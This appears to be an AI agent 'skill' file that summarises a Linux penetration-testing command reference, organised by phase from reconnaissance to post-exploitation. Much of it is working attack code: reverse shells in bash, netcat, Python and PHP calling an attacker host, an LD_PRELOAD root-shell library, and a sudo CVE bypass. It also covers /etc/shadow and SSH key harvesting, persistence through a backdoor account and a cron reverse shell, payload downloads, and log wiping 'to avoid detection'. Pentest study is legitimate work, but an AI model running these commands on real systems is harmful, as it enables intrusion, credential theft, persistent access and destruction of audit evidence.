linux-pentester-commands

# Linux Pentester Commands Skill > Skill by [ara.so](https://ara.so) — Security Skills collection. This skill provides expertise in using the **Linux for a Pentester** command reference repository, a curated collection of practical Linux commands used in penetration testing workflows including reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation. ## What This Project Does Linux for a Pentester is a practical command reference organized by penetration testing phases: - **General Commands**: Essential Linux survival commands - **Reconnaissance**: Local and network information gathering - **Enumeration**: Deep service and user data discovery - **Exploitation**: Initial access techniques - **Privilege Escalation**: Techniques to gain root access - **Post-Exploitation**: Persistence and lateral movement - **Cheatsheets**: Quick reference one-liners ## Installation Clone the repository to have offline access during engagements: ```bash git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git cd Linux-for-a-Pentester ``` For quick reference during active testing: ```bash # Add as a shell alias for fast access echo 'alias pentref="cd ~/Linux-for-a-Pentester && ls"' >> ~/.bashrc source ~/.bashrc ``` ## Repository Structure ``` Linux-for-a-Pentester/ ├── 00-General-Commands/ # Basic Linux survival commands ├── 01-Recon/ # Reconnaissance phase commands ├── 02-Enumeration/ # Service and system enumeration ├── 03-Exploitation/ # Exploitation techniques ├── 04-Privilege-Escalation/ # Privilege escalation methods ├── 05-Post-Exploitation/ # Post-exploitation activities └── Cheatsheets/ # Quick reference sheets ``` ## Common Pentesting Workflows ### 1. Initial Reconnaissance **System Information Gathering:** ```bash # Basic system information uname -a # Kernel version and architecture cat /etc/os-release # OS version details hostname # Current hostname uptime # System uptime # User context whoami # Current user id # User/group IDs and memberships groups # Group memberships ``` **Network Reconnaissance:** ```bash # Network interfaces and connections ip addr # Network interfaces ip route # Routing table ss -tulpn # Active network connections netstat -antup # Alternative (older systems) # DNS and hostname resolution cat /etc/hosts cat /etc/resolv.conf ``` ### 2. Enumeration Phase **User Enumeration:** ```bash # User and group information cat /etc/passwd # All users cat /etc/group # All groups lastlog # Last login information w # Currently logged-in users # Home directories ls -la /home/ find /home -type f -readable 2>/dev/null ``` **Service Enumeration:** ```bash # Running services systemctl list-units --type=service --state=running ps aux # All running processes ps -ef --forest # Process tree view # Listening services ss -tulpn | grep LISTEN lsof -i -P -n # Open network connections ``` **File System Enumeration:** ```bash # SUID/SGID files (privilege escalation vectors) find / -perm -4000 -type f 2>/dev/null # SUID files find / -perm -2000 -type f 2>/dev/null # SGID files find / -perm -6000 -type f 2>/dev/null # Both # Writable directories find / -writable -type d 2>/dev/null find / -perm -222 -type d 2>/dev/null # Configuration files find /etc -type f -readable 2>/dev/null grep -r "password" /etc/ 2>/dev/null ``` ### 3. Exploitation Commands **Reverse Shells:** ```bash # Bash reverse shell bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1 # Netcat reverse shell nc -e /bin/bash $ATTACKER_IP 4444 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f # Python reverse shell python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' # PHP reverse shell php -r '$sock=fsockopen("$ATTACKER_IP",4444);exec("/bin/sh -i <&3 >&3 2>&3");' ``` **Shell Upgrade:** ```bash # Upgrade to interactive TTY python -c 'import pty; pty.spawn("/bin/bash")' python3 -c 'import pty; pty.spawn("/bin/bash")' # Full interactive shell # In reverse shell: python3 -c 'import pty; pty.spawn("/bin/bash")' # Press Ctrl+Z to background # On attacker machine: stty raw -echo; fg # Press Enter twice export TERM=xterm ``` ### 4. Privilege Escalation **SUID Exploitation:** ```bash # Find SUID binaries find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null # Common SUID exploits # GTFOBins patterns for specific binaries /usr/bin/find . -exec /bin/sh \; -quit /usr/bin/vim -c ':!/bin/sh' /usr/bin/nmap --interactive ``` **Sudo Exploitation:** ```bash # Check sudo privileges sudo -l # Common sudo bypasses sudo -u#-1 /bin/bash # CVE-2019-14287 (sudo < 1.8.28) # LD_PRELOAD exploitation (if env_keep+=LD_PRELOAD) # Create malicious library cat > /tmp/shell.c << EOF #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } EOF gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles sudo LD_PRELOAD=/tmp/shell.so <allowed_program> ``` **Cron Job Exploitation:** ```bash # Enumerate cron jobs cat /etc/crontab ls -la /etc/cron.* crontab -l crontab -l -u root 2>/dev/null # Check for writable cron scripts find /etc/cron* -type f -writable 2>/dev/null ``` **Kernel Exploits:** ```bash # Check kernel version uname -a cat /proc/version # Search for kernel exploits (use searchsploit or online databases) # Common kernel exploits: # - DirtyCow (CVE-2016-5195) # - DirtyPipe (CVE-2022-0847) ``` ### 5. Post-Exploitation **Credential Harvesting:** ```bash # SSH keys find / -name id_rsa 2>/dev/null find / -name authorized_keys 2>/dev/null # Password files and history cat /etc/shadow 2>/dev/null cat ~/.bash_history find / -name .bash_history 2>/dev/null # Configuration files with credentials grep -r "password" /var/www/ 2>/dev/null grep -r "pass" /opt/ 2>/dev/null find / -name "*.conf" -exec grep -i "password" {} \; 2>/dev/null ``` **Persistence:** ```bash # Add SSH key mkdir -p ~/.ssh echo "$PUBLIC_KEY" >> ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys # Add user account useradd -m -s /bin/bash backdoor echo "backdoor:password" | chpasswd usermod -aG sudo backdoor # Cron persistence echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1'" >> /var/spool/cron/crontabs/root ``` ## Key Command Categories ### Network Scanning ```bash # Port scanning (if nmap unavailable, use native tools) for port in {1..1000}; do timeout 1 bash -c "echo >/dev/tcp/localhost/$port" 2>/dev/null && echo "Port $port open"; done # ARP scanning ip neigh arp -a ``` ### File Transfer Techniques ```bash # Python HTTP server (attacker machine) python3 -m http.server 8000 # Download files (target machine) wget http://$ATTACKER_IP:8000/file curl -O http://$ATTACKER_IP:8000/file # If no wget/curl exec 3<>/dev/tcp/$ATTACKER_IP/8000 echo -e "GET /file HTTP/1.0\r\n\r\n" >&3 cat <&3 > file # Base64 transfer (small files) # On attacker: base64 file | xclip -selection clipboard # On target: echo "BASE64_STRING" | base64 -d > file ``` ### Log Cleanup ```bash # Clear bash history history -c rm ~/.bash_history unset HISTFILE # Clear system logs (requires root) echo "" > /var/log/auth.log echo "" > /var/log/syslog find /var/log -type f -exec truncate -s 0 {} \; ``` ## Environment Variables When working with this reference, consider setting these environment variables in your testing environment: ```bash # Set in ~/.bashrc or testing session export ATTACKER_IP="10.10.14.x" # Your attack machine IP export TARGET_IP="10.10.10.x" # Target machine IP export LPORT=4444 # Default listening port ``` ## Troubleshooting Common Issues ### Command Not Found Some commands may not be available on minimal systems: ```bash # netstat unavailable → use ss ss -tulpn # ifconfig unavailable → use ip ip addr # wget unavailable → use curl curl -O http://example.com/file # nc without -e flag → use named pipe method rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4444 >/tmp/f ``` ### Permission Denied Errors ```bash # Redirect stderr to avoid noise find / -name "interesting" 2>/dev/null # Use accessible directories cd /tmp || cd /dev/shm ``` ### Limited Shell Issues ```bash # Spawn TTY python -c 'import pty; pty.spawn("/bin/bash")' script /dev/null -c bash /bin/bash -i ``` ## Best Practices 1. **Always redirect errors** when searching: `2>/dev/null` 2. **Use /tmp or /dev/shm** for temporary files (usually writable) 3. **Clean up after testing** to avoid detection 4. **Document findings** as you discover them 5. **Test commands in safe environments** first 6. **Keep GTFOBins bookmarked** for SUID/sudo exploitation 7. **Check LinPEAS/LinEnum** output systematically ## Integration with Testing Workflow ```bash # Typical engagement flow: # 1. Gain initial access # 2. Stabilize shell python3 -c 'import pty; pty.spawn("/bin/bash")' # 3. Quick wins check sudo -l find / -perm -4000 2>/dev/null cat /etc/crontab # 4. Deep enumeration # Run automated scripts or manual enumeration # 5. Exploit findings # Based on discovered vectors # 6. Post-exploitation # Gather credentials, maintain access # 7. Cleanup history -c && rm ~/.bash_history ``` This skill provides the command reference needed for practical Linux penetration testing. Refer to the repository's individual directories for more detailed notes on each phase.